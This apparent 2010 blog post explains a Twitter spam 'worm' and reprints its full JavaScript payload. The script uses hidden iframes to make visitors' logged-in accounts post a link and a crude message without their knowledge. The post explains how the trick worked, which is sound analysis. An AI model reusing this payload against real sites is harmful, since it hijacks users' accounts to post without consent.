Sunday, September 26, 2010

Behind the ‘i love .... with goats’ twitter worm

It’s quite simple. Click on the “WTF” link, and you load a page in your browser that does the following:

<html> <head></head> <body> <script> var el1 = document.createElement('iframe'); var el2 = document.createElement('iframe'); el1.style.visibility="hidden"; el2.style.visibility="hidden"; el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location; el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats"; document.getElementsByTagName("body")[0].appendChild(el1); document.getElementsByTagName("body")[0].appendChild(el2); </script> </body> </html>

It’s not a worm or a virus. It’s a clever trick with JavaScript and an abuse of the trust people have with clicking on tinyurls.

http://www.sparksofentropy.com/post/1192851569/behind-the-i-love-anal-sex-wit...

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